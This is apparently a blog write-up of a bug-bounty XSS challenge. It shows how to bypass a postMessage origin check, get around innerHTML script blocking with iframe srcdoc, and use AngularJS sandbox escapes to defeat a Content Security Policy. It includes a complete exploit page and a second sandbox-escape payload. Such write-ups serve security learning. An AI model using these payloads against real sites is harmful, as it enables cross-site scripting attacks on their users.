Bug Poc XSS #2 Challenge Writeup

4 years ago 254
BOOK THIS SPACE FOR AD
ARTICLE AD

osama alaa

Image for post

Image for post

This is a challenge made by BugPOC and it has a program in hackerone , and this is the link of challenge :
http://calc.buggywebsite.com/

I tried to explain the challenge step by step even there are some basics .

Must alert(domain)Must bypass CSP,Must work in Chrome,Must provide a BugPoC demo

Image for post

Image for post

First we need to see the view the html source so we can understand it:

index.html

Image for post

Image for post

frame.html

Image for post

Image for post

frame.js

Image for post

Image for post

script.js

Image for post

Image for post

I also did a dynamic analysis with chrome debugger , it isn’t necessary for this challenge as it has few sources , but this concept is very important specially for huge files .

Break point in the postmessage

Image for post

Image for post

When we write any number , this number will be sent to iframe using postmessage and is written on the calculator

Image for post

Image for post

The reciever for postmessage will check the origin and extract message and check for its content before writing it.

Image for post

Image for post

So now we have PostMessage that can be converted into XSS .

We need first to know a bit about PostMessage

Image for post

Image for post

So , postMessage allow communications between a page “source” and another page “destination” , so index.html can communicate with frame.html through postMessage .

The Syntax for the source is :

targetWindow.postMessage(message, targetOrigin, [transfer]);

Image for post

Image for post

so we have three important attributes :
1. targetwindow : which is the destination , in out example we have frame.html

2. message : which the message to be sent and will be received in the destination .

3. targetorigin : which could be * to allow communication with any target .

The syntax for Destination :

Image for post

Image for post

we have to do a listener which will receive the message in certain condition like verifying the origin for security reasons .

Let’s try to do small tutorial regarding postmessage using the challenge code.
I hosted the challenge on my server so that I can bypass restrictions one by one .

First restriction is the origin :

Image for post

Image for post

This is simple html to postmessage in the frame.html:

Image for post

Image for post

so we can test it from another origin rather than my domain ctf.io and see if the message will be printed in the body of frame.html or not .

we can see that the body of frame.html is still 0 not ‘test’ which we have sent :

Image for post

Image for post

We can remove the origin check and verify that again :

Image for post

Image for post

we can see that ‘test’ message has been written in the body :

Image for post

Image for post

So we need to bypass this check , we can notice that the regex is check for the beginning of the domain not the end , so if we can make a subdomain with name of “ctf.io” .
So , we can run our html from ctf.io.attacker.io .

Using the original script :

Image for post

Image for post

we can bypass the origin :

Image for post

Image for post

Now we can try to put simple html tags like <img src=x onerror=alert(1)>

Image for post

Image for post

The image tag worked but with no javascript execution :

Image for post

Image for post

There is Content Security Policy , so we can check for it using
https://csp-evaluator.withgoogle.com/

Image for post

Image for post

This means that we can load scripts from the challenge origin and also execute eval function .

Now we can try to send a message as script tag :
<script src="script.js"></script>

Image for post

Image for post

but script.js hasn’t been fetched :

Image for post

Image for post

After search I found that innerHTML doesn’t execute script tags :

Image for post

Image for post

This was for security reasons :

Image for post

Image for post

This is the second restriction we need to bypass .

So we need to do something like encapsulation , means to encapsulate our script tag in another tag which doesn’t annoy innerHTML :D

The best tag which carry any thing is iframe :D

But if we try to make the src of iframe to be another domain, this means the XSS will be executed in the other domain to the challenge domain .

Iframe also has great attribute that can be used is srcdoc instead of src attribute :

Image for post

Image for post

This attribute can carry the HTML including script tags and be written in the body using innerHTML , so we can do something like that :
<iframe srcdoc="<html><script src=script.js></script></html>"></iframe>

Image for post

Image for post

so , we can load the script.js from the ctf.io as shown:

Image for post

Image for post

Now , we need to execute javascript using self-src bypassing CSP.

After search , I found that can be done using anguler sandbox escape to get XSS via this article:

I decided at last to use this payload , which I didn’t have no idea about its syntax :D

Image for post

Image for post

I need to simplify the html so that I can understand how it works , as there will be another restriction.

By using this HTML :

Image for post

Image for post

and when I click on “foo” , the alert is poped up:

Image for post

Image for post

This payload contains quotes and double quotes which will make restriction as we will put this payload in srcdoc of iframe , and the iframe is put in the message variable , it will be like that :
var message='<iframe srcdoc="payload"></iframe>'

so payload doesn’t have to contain and double quotes as it will break the srcdoc , and also the message variable also , because of the restriction in frame.js which prevents using 'or & :

Image for post

Image for post

So our payload must be free of ' , " , and & .

At this time I should understand the payload to see how to bypass this restriction , so I need to know a bit angular which I don’t anything except {{2*2}} :D

When I tried to remove ng-app , the payload is broken , I didn’t that it was important so I realized that, I have to read documentation :D

There is something called directive components , we used four of them :

ng-app :

Image for post

Image for post

2. ng-focus

Image for post

Image for post

3. ng-repeat

Image for post

Image for post

4. ng-if

Image for post

Image for post

This is simple illustration of the payload as I understood

Image for post

Image for post

First problem from me is the ng-repeat as it uses " and ng-if as it uses ",'

I was also need to know why this makes alert , so I began to discover what is the values of key,value of the event focus , so I modify the payload to print the key:value

Image for post

Image for post

so when the key=window , its value will be $window :

Image for post

Image for post

so the most important thing that search for key which value is window .

I tried to access the window without this looping and if condition :

Image for post

Image for post

Then I got what I need :

Image for post

Image for post

so we can craft our payload without any quotes :

var message='<iframe srcdoc="<html><script src=angular.min.js></script><div ng-app><div ng-focus=x=$event; id=f tabindex=0>foo</div>{{[1].reduce(x.view.self.alert, 1); }}</div></div></div></html>"></iframe><iframe>';

Image for post

Image for post

and it worked but alert(1)

Image for post

Image for post

we need to make it alert document.domain , I spent a time to explore how to do that , but I can’t access document.domain as it always undefined ,so I used eval to generate alert(document.domain) from String.fromCharCode function .

To do this using angular , we can use [].constructor.name.constructor to represent string as I can’t access String :

Image for post

Image for post

Image for post

Image for post

so I have to define a variable xss :

xss=[].constructor.name.constructor.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41);

and use eval to execute it :

Image for post

Image for post

The payload worked successfully

Image for post

Image for post

Let’s try to use exploit the challenge itself , we will need to change the url to :
http://calc.buggywebsite.com/frame.html , and make subdomain calc.buggywebsite.com

This will be final exploit :

<html>
<iframe id="VulnerableSiteIframe" height="400" width="1024" src="http://calc.buggywebsite.com/frame.html" onload="SendMessage()"></iframe>
<script>
function SendMessage() {
var IframeElement = document.getElementById('VulnerableSiteIframe');
var message='<iframe srcdoc="<html><script src=angular.min.js>\<\/script><div ng-app><div ng-focus=x=$event; id=f tabindex=0>foo{{xss=[].constructor.name.constructor.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41);[1].reduce(x.view.self.eval, xss); }}</div></div></div></html>"></iframe>';
IframeElement.contentWindow.postMessage(message, '*');
};
</script>
<body>
</body>
</html>

Image for post

Image for post

There is also another payload that can be worked , and easier than what I did

</body ng-app ><div ng-app ng-csp>{{l=[].constructor.name.constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,47,47);a=toString().constructor.prototype;a.charAt=a.trim;$eval(l)}}</div>

It is a famous one , I tried it but didn’t work at first time , but it worked at the end , so I put it in the poc , as it has no user interaction

Image for post

Image for post

Image for post

Image for post

Thanks for reading .

https://sites.google.com/site/bughunteruniversity/nonvuln/angularjs-expression-sandbox-bypasshttps://code.angularjs.org/1.5.6/docs/api/nghttps://developer.mozilla.org/en-US/docs/Web/API/Window/postMessagehttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reducehttps://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypasshttps://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
Read Entire Article